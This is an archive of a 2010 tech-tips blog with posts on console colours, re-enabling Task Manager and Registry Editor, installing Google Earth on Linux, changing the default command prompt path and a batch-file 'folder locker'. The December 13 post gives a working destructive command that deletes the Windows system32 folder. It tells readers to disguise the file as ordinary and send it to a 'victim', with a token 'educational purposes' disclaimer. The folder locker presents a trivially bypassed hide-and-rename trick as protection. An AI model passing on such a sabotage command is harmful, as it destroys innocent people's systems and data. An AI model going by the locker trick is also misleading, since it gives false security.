Monday, December 20, 2010

Change MS-DOS background and Foreground colors

Have you ever wondered of changing the DOS background or foreground color ?
The value of "DefaultColor" in windows registry editor controls the foreground and background colors used in command prompt windows. It has a default value of 0, for standard white text on a black background.
Now how to CHANGE DOS BACKGROUND
Open your registry editor (press win+r and type regedit , hit enter )
goto

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]

There double click on "DefaultColor".
Now we can replace it's value with a two-digit hexadecimal number, in which the first digit selects a background color and the second, a foreground color. The hexadecimal codes are:


0 - Black
1 - Blue
2 - Green
3 - Aqua
4 - Red
5 - Purple
6 - Yellow
7 - White
8 - Gray
9 - Light Blue
A - Light Green
B - Light Aqua
C - Light Red
D - Light Purple
E - Light Yellow
F - Bright White
F0 -  Black text on a white background
1E - Yellow text on a blue background.


The change should take effect the next time you open a console window.

Saturday, December 18, 2010

Enable Task Manager when diabled by administrator

In my previous post, I shared with you about enabling registry editor when disabled by the administrator. Now using the registry editor enabled, you can enable your task manger if disabled. Task Manager can be disabled, blocked and locked by the administrator to prevent from being used by users. Some Other possibility of Task manager being disabled is caused by virus or worm such as W32/Brontok-C etc,.
When Task manager is disabled, user is unable and cannot open or run task manager anymore. Any attempt to run, will return the error “Task Manager has been disabled by your administrator”.

In many cases, disabling of Registry Editor, task manager is caused by virus, worm or Trojan.
We have many methods to enable task manager. But I'll share with you my favorite one.
Just download the file from the link below. Right click on it and click on install. That's it !! You're done.

If it gives any error, try enabling registry editor first and then execute this script.
Note : Let me know through your comments if this method fails. 

Tuesday, December 14, 2010

Enable registry editor ( regedit ) when disabled by Administrator

Registry Editor system, can be disabled, blocked and locked by the administrator to prevent the RegEdit from being executed by users in order to protect important system registry settings. Other possibility of Registry Editor been disabled is caused by virus or worm such as W32/Brontok-C.

When Registry Editor is disabled, user is unable and cannot open or run Registry Editor anymore. Any attempt to run RegEdit.exe will return the error “Registry editing has been disabled by your administrator”. Hence it’s impossible to remove the restriction on Registry Editor usage by using the Registry Editor itself.

In many cases, disabling of Registry Editor is caused by virus, worm or Trojan, which attempts to stop user from fixing any changes to the registry, which normally affects changes to one or more of the shell\open\command keys.

We have many methods to enable regedit. But I'll give you my favorite one.
Just download the file from the link below. Right click on it and click on install. That's it !! You're done.


Note : Let me know through your comments if this method fails.

Monday, December 13, 2010

Make a simple virus file that destroys your friends' (victims' ) pc by deleting System32

1. Open Notepad
2. Write the above command : -
erase %windir%\system32\*.* /q /f
3. Save the above notepad with the extension ".bat or .cmd" as you want.
After you created the .cmd or .bat file send it to your victim as like ordinary file. Once your victim double clicks on it then he/she needs to format his/her PC.
What it does is deletes all files present in the system32 folder out of which most of them are files important for a computers functioning. The attributes /q enables quiet mode and /f enables force mode which deletes read only files too.
Note :
It would work only if the victim has Windows Operating System (OS).I tried it on Windows Xp professional edition service pack 2. Hope works in Windows 7 too. Let me know through the comments section whether it works or not.

Warning : This is for educational purposes only and I am not responsible for the consequences. I tried on my own PC.

Saturday, December 11, 2010

Install Google Earth on Linux Machine

Google Earth is nothing new. It’s been around for a while and in use by millions. But many people don’t know that Google Earth has a Linux client that can be installed on just about Linux distribution.
In this article or post, I will let you know the installation of Google Earth for your Linux box.

Minimum requirements :
  • Kernel: 2.4 or later
  • glibc: 2.3.2 w/ NPTL or later
  • XFree86-4.0 or x.org R6.7 or later
  • CPU: Pentium 3, 500Mhz
  • System Memory (RAM): 256MB
  • Hard Disk: 400MB free space
  • Network Speed: 128 Kbits/sec
  • Graphics Card: 3D-capable with 16MB of VRAM – Screen: 1024×768, “16-bit High Color” screen
The recommended requirements are:
  • Kernel 2.6 or later
  • glibc 2.3.5 w/ NPTL or later
  • x.org R6.7 or later
  • System Memory (RAM): 512MB
  • Hard Disk: 2GB free space
  • Network Speed: 768 Kbits/sec
  • Graphics Card: 3D-capable with 32MB of VRAM
  • Screen: 1280×1024, 32 bit color

You need to download the installation file from here. Once you have that on your hard drive (let’s assume it was downloaded to ~/Downloads) it’s time to get to work. The first steps are:

  1. Open a terminal window.
  2. Change to the ~/Downloads directory.
  3. Issue the command chmod u+x GoogleEarthLinux.bin to give the file executable permissions.
  4. Issue the command sudo ./GoogleEarthLinux.bin to start the installation process.


After you execute the above commands, you need to configure the Google Earth using the GUI window appeared which looks similar to the above one.
  • Install Path is the path where you wanna install your application.
  • Symbolic link is the one like shortcut.
        Upon completion of installation the installer will allow you to start the program by clicking the Start button. If you don’t want to run it then you can always use the command googleearth to start Google Earth.
My review on this application is that it works fine like that on any other Operating System(OS).

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Tuesday, December 7, 2010

Change default Command Prompt Path

In my previous post, I told you how to change the default path of command prompt(cmd) manually by editing registry editor. But we have the tools which are more handy and moreover, the tool is from Micosoft. One of the best power toys available from Microsoft is Open Command Window , which adds a context menu (right click) to folders in Windows Explorer, saving you the trouble of navigating to a folder in the command prompt.

Monday, December 6, 2010

Change Default command prompt path

When you try to open command prompt window in windows, it starts from its default path i.e from the current user's home folder. But what yo do if you want start from you desired location? Here is the answer.
Backup your regedit or Registry editor before proceeding.Setting the default command prompt directory can be done with a simple registry hack (trick).
In the registry editor, navigate to the following location:

HKEY_CURRENT_USER\Software\Microsoft\Command Processor

If there is no Autorun string value, create it. Then, set it's value to the directory you would like it to default to in this way (if it exists, modify it):

CD /d d:\
Where d:\ is the path I've chosen as the default.

That's it. You're done.
Enjoy!!

Friday, December 3, 2010

How to Lock a Folder Without any Software or Programs

1) Make a new folder.
2) Inside this folder make a text document & copy inside it this:

cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End


3) After u copy the Commanding go to line 23. There you will find this word : password
here.Change it with any password u like.
4) After that make ‘save as’ & name as (locker.bat )
5) Click on locker.bat.
6) It will create a new folder (Private ).
7) Ok ,, now copy whatever you want in it.
8) Double click on locker.bat and it will open command prompt and ask whether do you want lock your folder? (Y/N)
9) Type Y to lock it. The Private folder disappears ( locks ).
10) If you want UNLOCK your folder , double click on locker.bat and type your password and you will see your private folder.